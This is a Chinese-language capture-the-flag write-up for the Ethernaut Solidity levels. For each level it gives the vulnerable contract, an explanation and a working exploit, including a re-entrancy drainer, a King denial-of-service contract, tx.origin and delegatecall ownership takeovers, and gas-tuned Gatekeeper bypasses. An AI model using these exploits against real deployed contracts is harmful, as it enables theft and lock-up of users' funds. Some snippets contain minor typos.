Hello Ethernaut

Fallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

fallback函数是在智能合约中是一个特殊的函数,它没有函数名,在下面情况被使用: 合约收到,或当有人调用不在合约内的函数,或参数不正确

这里有个小trick,Fallback不是一个fallback函数(即使函数名称是Fallback),但function() payable public才是fallback函数。由此我们有了下面方法:首先调用函数contribute()并让value小于0.001从而成为一个contributor

1
contract.contribute({value:toWei('0.0001')})

检查是否已经成为contributor,result>0表示已经成为

1
contract.getContribution().then(x => x.toNumber())
1
2
3
...
[[PromiseState]]: "fulfilled"
[[PromiseResult]]: 100000000000000

发送ehter给合约激活fallback,然后我们就会成为owner

1
contract.send(1)

查看发现已经成为owner

1
2
3
4
contract.owner()
...
[[PromiseState]]: "fulfilled"
[[PromiseResult]]: "0x862570693111DB350a6376c095B7E57c7650E78d"
1
2
player
'0x862570693111DB350a6376c095B7E57c7650E78d'

Fallout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./SafeMath.sol";

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

直接运行函数Fal1out即可成为owner

Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;其实是$ 2^{256}/2 $,所以一个随机hash除factor的结果为0或1概率为1/2

随机值是根据前一个区块的hash值来计算的,所以实际上并不随机,因为在调用之前我们就能获得当前交易的上一个区块的blockhash

绕过的方法是自己写一个攻击合约,使用和CoinFlip中相同的算法算出一个随机数,然后用该随机数调用合约中的flip函数,这个过程会被当做一笔交易,由于一笔交易被打包在一个区块中,所以攻击合约和原合约是对相同合约做计算,提前校验结果然后再通过调用CoinFlip传入提前计算好的结果即可

exp如下(参考)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./SafeMath.sol";

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract Exp{
address public con_addr = 0x55bd38f201C332CcE9B0fc9502AC0495B7a5E88a;
// 这个地址改成合约的地址
CoinFlip c = CoinFlip(con_addr);
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function guess() public{
uint256 blockValue = uint256(blockhash(block.number -1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}

Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

tx.originmsg.sender不同,如果从合约A调用函数,并在该函数中调用合约B的函数,那么tx.origin将是你的地址,而msg.sender会是合约A的地址

攻击者通过这一点利用其他合约来攻击另一个合约

回到本题很明显,只需要写一个合约,在其中以player地址为参数调用Telephone中的changeOwner函数,player即可成为owner

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract Attack {
address public player = 0x862570693111DB350a6376c095B7E57c7650E78d;
address public con_addr = 0xcA615bB7308B49B250AEfd4Dcc7cb1Ac31FFd003;
Telephone t = Telephone(con_addr);
function beOwner() public {
t.changeOwner(player);
}
}

Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

考察整数下溢,类型都是uint。初始代币20个,_to随便写一个地址,_value大于20即可造成溢出

exp如下,结果变为50

1
2
3
4
5
6
7
8
9
contract Attack {
address public contract_addr = 0x8Eb253EE30691E548b704Cb535ea4Ff4f6827d09;
address public to_addr = 0x862570693111DB350a6376c095B7E57c7650E78d;
uint value = 30;
Token t = Token(contract_addr);
function hack() public {
t.transfer(to_addr, value);
}
}

Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

Delegation调用了Delegate合约,在fallback函数中使用了delegatecall

Solodity中支持两种底层调用方式calldelegatecall,其中call外部调用时,上下文是外部合约,而delegatecall外部调用时,上下文是调用合约

即可以通过address(delegate).delegatecall(msg.data)调用delegate中的任意函数,其中只需要调用pwn函数即可成为owner

可以通过method id(函数选择器)来调用函数

1
contract.sendTransaction({data: web3.utils.sha3("pwn()")}).slice(0, 10)

Force

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

要求合约中余额大于0,直接转账失败

一个智能合约如何接收ETH?三个方法

  • 通过一个有payable修饰器的函数
  • 分配合约地址作为挖矿奖励的接收
  • 通过receive()fallback方法

A contract without a receive Ether function can receive Ether […] as a destination of a selfdestruct. A contract cannot react to such Ether transfers and thus also cannot reject them.

一个没有接收Ether函数的合约可以接收Ether作为selfdestruct的目的地。合约不能对这样的Ether转移作出反应,因此也不能拒绝

selfdestruct(address)函数删除合约中的所有字节码并发送所有储存的Ether到指定地址。如果该地址也是一个合约,则不会调用任何函数(包括fallback)

所以selfdestruct()是一个智能合约接收ETH的第四个方法

回到本题原合约什么都没有,目标要余额大于0,所以考虑使用selfdestruct强行转账进去

exp如下,需要实现向攻击合约中转账,可以在remix上选择1wei然后部署

1
2
3
4
5
6
7
8
9
contract Attack {
constructor() payable public {

}

function exp () payable public {
selfdestruct(0xa87Bc5F4cB0Fd445615E377Eb319Ce28001B08f9);
}
}

效果

1
2
await getBalance(instance);
'0.000000000000000001'

Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

password是私有变量,然后私有变量只能阻止其他合约访问,无法阻止公开访问,链上的数据是公开的。按照代码password存储位置是1,可以用下面命令获取到

1
web3.eth.getStorageAt(contract.address, 1)

然后提交即可

1
contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')

King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

谁给的钱多谁就能成为King,前任King的钱会归还,解题需要使自己成为king并阻止别人成为king

solidity中几种转币的方式

  • <address>.transfer() 发送失败会throw,回滚状态;只会传递部分Gas供调用,防止重入
  • <address>.send()发送失败时会返回false;只会传递部分Gas供调用,防止冲入
  • <address>.call.value()()发送失败会返回false;传递所有可用Gas供调用,不能有效防止重入

当成为King后,如果有人打的钱更多,就会先把钱退给我们,这里使用的是transfer()。前面提到如果transfer()调用失败会回滚状态,所以如果合约在退钱这一步一直调用失败的话,代码就无法继续向下运行,也就组织了其他人成为新的king

exp如下(参考),没有fallback和receive会退还

1
2
3
4
5
6
7
pragma solidity ^0.4.18;

contract Attacker{
constructor(address target) public payable{
target.call.gas(1000000).value(msg.value)();
}
}

Re-entrancy

题目给的源码有点小问题,参照https://stackoverflow.com/questions/66388642/solidity-parsererror-expected-but-got 更改编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./SafeMath.sol";

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

本题考察重入攻击

重入攻击发生在单线程计算环境,当执行栈在返回原执行过程前发生跳转或子程序调用

一方面,单线程执行确保了合约的原子性并消除了一些条件竞争,另一方面,合约容易因为不良执行顺序变得易被攻击

一个典型的例子就是先转账再扣钱

1662704709136.png

上面例子里,合约B是一个递归调用A.withdraw()来耗尽A的资金的恶意合约。注意合约A再其递归循环返回之前,资金提取就已经完成,同时合约B将提取超过自身金额

结束条件

  • 合约余额不足以给我们的合约转账时
  • 本次调用的gas达到上限 Gas Limit

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract Attack {
uint public amount = 0.001 ether;
Reentrance public re;
constructor (address payable target) public payable{
re = Reentrance(target);
}

function exp() public {
re.donate.value(amount)(address(this));
re.withdraw(amount);
}

fallback () payable external {
if(address(re).balance >= 0){
re.withdraw(amount);
}
}
}

再补充点修复的方法

  • 指定gas费率,依次转账消耗21000gas,可能存在其他操作所以可以限制gas23000,预留一部分gas
  • 使用其他转账函数

send address.send(uint256 amount) returns (bool),``

Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

solidity函数具有在每次函数调用开始时执行的函数修饰符

publicprivate类似,pureview都是内建的状态修饰符,他们“承诺”函数如何和与以太坊区块链上的数据交互

  • pure:承诺既不读取也不修改状态的函数。注意在最近的编译器中pure代替了constant
  • view:承诺只读取但不修改状态的函数
  • default:[无修饰符]承诺将读取和修改状态的函数

在早期编译器版本中,当函数违背其修饰符的承诺时,编译器会允许并不会给出警告,所以一个pure修饰的函数可以违背承诺来修改函数状态,并没有任何警告

接口允许不同的合约类相互交互

可以将接口看作ABI声明,强制所有合约以相同语言/数据结构下交互。但是接口没有规定函数内部的逻辑,让开发人员实现自己的业务层

合约接口指定是什么,而不是如何

开发人员通常使用接口:

  • 设计合约:通过在实现真正的合约前先生成一个工作ABI
  • 代币合约:声明一种共享的语言,所以不同合约可以使用这些代币来处理他们的业务逻辑
  • 未使用:一些开发人员想完全抛弃接口,转而使用抽象类

注意抽象类和接口一样有类似的安全漏洞,在抽象类合约中一些函数已经被编程,但可以轻易地被重写

要登顶,需要top=true,则if的条件building.isLastFloor(_floor)要返回false,而building.isLastFloor(floor)要返回true

注意到合约在接口中没有实现该函数

这意味着我们可以创建一个并实现isLastFloor函数的恶意合约,然后在恶意合约中调用goTo函数,我们实现的isLastFloor函数将在题目合约实例中被调用

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.18;

contract Attack {

Elevator public e = Elevator(0x8117C9B8AcbeAbaF19305771d147ACC77508Cf6D);
bool public flag = true;

function isLastFloor(uint) view public returns (bool) {
if(flag){
flag = false;
return flag;
}
else{
flag = true;
return flag;
}
}

function hack() public {
e.goTo(1);
}
}

Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

本题和之前的Vault类似,只需要通过存储地址拿到值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
await web3.eth.getStorageAt(contract.address, 0)
'0x0000000000000000000000000000000000000000000000000000000000000001'
await web3.eth.getStorageAt(contract.address, 1)
'0x00000000000000000000000000000000000000000000000000000000631cb873'
await web3.eth.getStorageAt(contract.address, 2)
'0x00000000000000000000000000000000000000000000000000000000b873ff0a'
await web3.eth.getStorageAt(contract.address, 3)
'0xf17d08e6e57b89109ecbfaa4ad8f4fa41e6bbea7fcaa854edb529869c74a21b9'
await web3.eth.getStorageAt(contract.address, 4)
'0xd00fb83642061b81555fcda7d124480420082d02ee499522a797ff2a4337454c'
await web3.eth.getStorageAt(contract.address, 5)
'0xbf404def7311f425f1a507c9bd8d217363cb412df26f686c76ebd4cfe999bc78'
await web3.eth.getStorageAt(contract.address, 6)
'0x0000000000000000000000000000000000000000000000000000000000000000'

题目所需的bytes16(data[2])是就是byte32 data[2]的前16个字节,注意这里强制转换截取是从高往低截的

调用一下函数传过去即可

1
contract.unlock('0xbf404def7311f425f1a507c9bd8d2173')

Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

考察如何计算gas

可以看到想要进入enter需要满足三个条件

  • gateonemsg.sender != tx.origin,这个之前做过,只需要通过一个合约来调用题目合约的函数,则tx.origin是自己的地址,msg.sender是外部合约的地址
  • gatetwo:需要剩余的gas%8191为0,考察gas的计算
  • gatethree真对gatekey进行数据类型转换要求满足几个条件

首先看gatetwo

在以太坊中,计算要花钱。这是通过gas * gas price计算的,其中gas是一个计算单位,gas price随着以太坊网络的负载而变化,交易发送者需要为发起的每笔交易支付所产生的以太币。

复杂的合约(比如创建合约)要比简单合约(发送以太币)消耗更大。存储数据到区块链比读取数据消耗更大,同时读取常量比读取存储值的消耗小

特别地,gas是在汇编层面分配的。也即每次调用栈上发生操作。例如,这里是一些算数运算和它们目前消耗的gas(源自以太坊黄页 Ethereum Yellow Paper 附录H)

vODblD.png

$ \delta $:从栈移除的gas;$ \alpha $:加入栈的gas

代码

1
2
3
4
5
6
7
8
pragma solidity ^0.4.24;
contract SimpleContract {
function add() public pure returns (uint) {
uint a = 1;
uint b = 2;
return (a+b);
}
}

开启debug,此时可以清晰的看到每一步汇编对应消耗的gas,例如操作码ADD消耗3gas

vOrAmj.png

需要注意的是不同solidity编译器版本计算gas也不同。同时优化是否开启也会对gas的使用有影响。可以尝试更改设置中编译器默认值来查看剩余的gas如何变化。

接下来在看数据转换,每当将具有较大空间的数据点转换为一个较小空间的数据点时,数据就会丢失和损坏

vOrW38.png

相反,如果想特意实现上述的结果,可以使用byte masking。solidity允许对字节和整数进行如下按位操作:

1
2
3
bytes4 a = 0xffffffff;
bytes4 mask = 0xf0f0f0f0;
bytes4 result = a & mask ; // 0xf0f0f0f0

现在开始解决题目

gateone已经说了,然后先看gatethree

1
2
3
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

传进来的_gateKey数据类型为bytes8即8字节64位
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey),说明16~32位中间为0
uint32(uint64(_gateKey)) != uint64(_gateKey)说明高32位不全为0
uint32(uint64(_gateKey)) == uint16(tx.origin)

所以bytes8 _dateKey = bytes8(uint64(tx.origin)) & 0xFFFFFFFF0000FFFF

再看gatetwo,需要确保当调用栈执行到msg.gas%8191时剩余的gas是8191的整数倍

注意题目合约使用的是version v0.6.0并且没有开启优化,我们也要相应地对Remix进行设置。这一步比较坎坷,最后参考了这篇文章 https://blog.csdn.net/love_wjk/article/details/107980505

在代码中设置了gas还需要在metamask确定交易之前点击edit修改一下gas的limit,然后在etherscan上查看交易,进入debug trace。由于执行了gasleft(),我们查找GAS操作:获取剩余可执行燃料数,因为GAS本身也是指令会消耗gas,所以其下一条指令对应剩余的gas才是用来计算的值,即要让这个值模等于0。最后通过调整gas limit即可

vXLHzT.png

如果函数执行失败overview会出现Although one or more Error Occurred [**execution reverted**] Contract Execution Completed,debug trace中会有指令*REVERT

exp如下

1
2
3
4
5
6
7
contract Attack {
GatekeeperOne g = GatekeeperOne(0x726B380Df7930F41A4825c91A25c5852Cd4fcB9b);
bytes8 public key = bytes8(uint64(tx.origin))& 0xFFFFFFFF0000FFFF;
function hack () public {
address(g).call.gas(101779)(abi.encodeWithSignature("enter(bytes8)", key));
}
}

安全要点:

  • 不要在智能合约中断言gas的消耗,因为不同的编译器版本会造成不同的结果
  • 转换数据类型为不同大小时要小新数据损坏
  • 通过不存储不必要的值来节省gas。把一个值push到状态MSTOREMLOAD总是比通过SSTORESLOAD把值存到区块链上气体密度更低
  • 通过masking值(更少操作)而不是类型转换来节约gas

Gatekeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

先来点基础知识

黄皮书正式将合约创建定位为:

vjJVDP.png

下面是一个简化的合约创建流程以及这些变量的含义:

首先一个创建合约的交易被发送到以太坊网络,这个交易包含输入变量,特别是:

  • Sender(s):想要创建新合约的直接合约或外部钱包的地址
  • Original transactor(o):创建合约的原始外部钱包(一个用户)。注意如果用户使用一个工厂合约来创建更多合约时o != s。(工厂合约 factory contract指创建其他智能合约的智能合约)
  • Available gas(g):用户指定的,分配给创建合约的所有gas
  • Gas price(p):单位gas的市场价,将交易成本转换为以太币
  • Endowment(v):被transfer来seed新合约的价值(Wei为单位)。默认为0
  • Initialzation EVM code(i):新合约constructor函数和初始变量的所有内容,以字节码形式

注意,在第五步之前,新合约地址中不存在任何代码

在黄皮书的脚注中:在初始化代码执行期间,地址上的EXTCODESIZE应该返回0,这是账户代码的长度,而CODESIZE应该返回初始化代码的长度

简单来说,如果尝试在一个合约创建之前检查其代码大小,将会得到一个空值。这是因为智能合约还没有被创,因此无法自我识别自己的代码大小。

solidity中支持以下逻辑门操作:

  • &:and(x, y) 按位与
  • |:or(x, y) 按位或
  • ^:xor(x, y)按位异或
  • ~:not(x, y)按位取反

solidity中求幂使用**

接下来看题

gateone不多说了

gatethree

gatetwo

1
assembly { x := extcodesize(caller()) }

使用了assembly函数来检查调用合约的大小是否为0,也就是没有包含代码。但是调用合约必须首先要有代码才能调用GatekeeperTwo。caller()返回钱包/合约

回忆一下,当合约在构建期间,它通过其(预)计算地址部署代码,但该代码还没有与合约本身关联存储

这就意味着如果extcodesizze是一个位于sender合约的原始constructor函数中的子程序,extcodesize(sender)应该返回0

由上可以写出下面exp

1
2
3
4
5
6
7
8
contract Attack {

constructor() public {
GatekeeperTwo g = GatekeeperTwo(0x3e2748d17699CfC328C0320e4A36250b02b874f6);
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0)-1));
g.enter(key);
}
}

Naught Coin

引用的库文件编译版本对不上,用这里列出来了0.6.0的代码进行替换 https://www.codenong.com/cs109703606/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '../ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

ERCs(Ethereum Request for Comment)是允许在区块链上创建代币(tokens)的协议。具体来说,ERC20是一个定义了标准的合约接口

ERC20的安全问题:

  • Batchoverflow:因为ERC20没有强制使用SafeMath,可能会发生整数下溢。这就意味着当代币耗尽时,将会得到$ 2^{256} - 1 $个代币
  • Transfer “bug”:ERC20的制造者希望开发者使用approve()transferfrom()函数组合来移动代币。然而这一点在官方文件中没有清楚地声明,它们也没有警告不要使用transfer()(它仍然可以使用)。很多开发者用transfer()代替,造成了很多代币被永久锁定。
    无法保证第三方合约会接收转账。如果将代币转到一个非接收方,这将导致永久丢失代币,因为代币合约已经扣去了账户的余额

  • Poor ERC20 ingeritance:一些代币合约没有正确的实现ERC接口,造成很多问题。比如Golem’s GNT甚至没有实现重要的approve()函数,将transfer()作为唯一且有问题的选项

类似地,本题没有实现一些关键函数——造成Naughtcoin容易受到攻击

注意:

  • 可以组合使用transfer()transferFrom()来移动代币
  • lockTokens()修饰符只用于transfer()函数
  • approve()transferFrom()函数在Remix IDE中都可用

题目合约一个开始给player分配了1000000的代币,timelock定下的时间是现在之后的十年,显然无法通过判断。上述分析意味着可以使用推荐的approve+transferfrom组合来绕过lockTokens()将代币转走

检查账户余额,然后用自己的地址和外部账户来调用approve()。用1.player的地址2.一个任意外部钱包3.账户余额来调用transferFrom()

相关的函数定义在这里 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/9b3710465583284b8c4c5d2245749246bb2e0094/contracts/token/ERC20/ERC20.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));

_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}

/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));

_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}

/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));

_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}

/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}

从而写出exp

1
2
contrac.approve(player, toWei('1000000'))
contract.transferFrom(player, contract.address, toWei('100000'))

安全思考

  • 当连接或实现ERC接口时,实现所有可用的函数
  • 如果要创建自己的代币,考虑更新的协议如:ERC223、ERC721、ERC827
  • 检查是否符合EIP165规定,它规定了哪一个接口是外部合约要实现的。相反,如果是发行代币的人,应该记住遵守EIP165
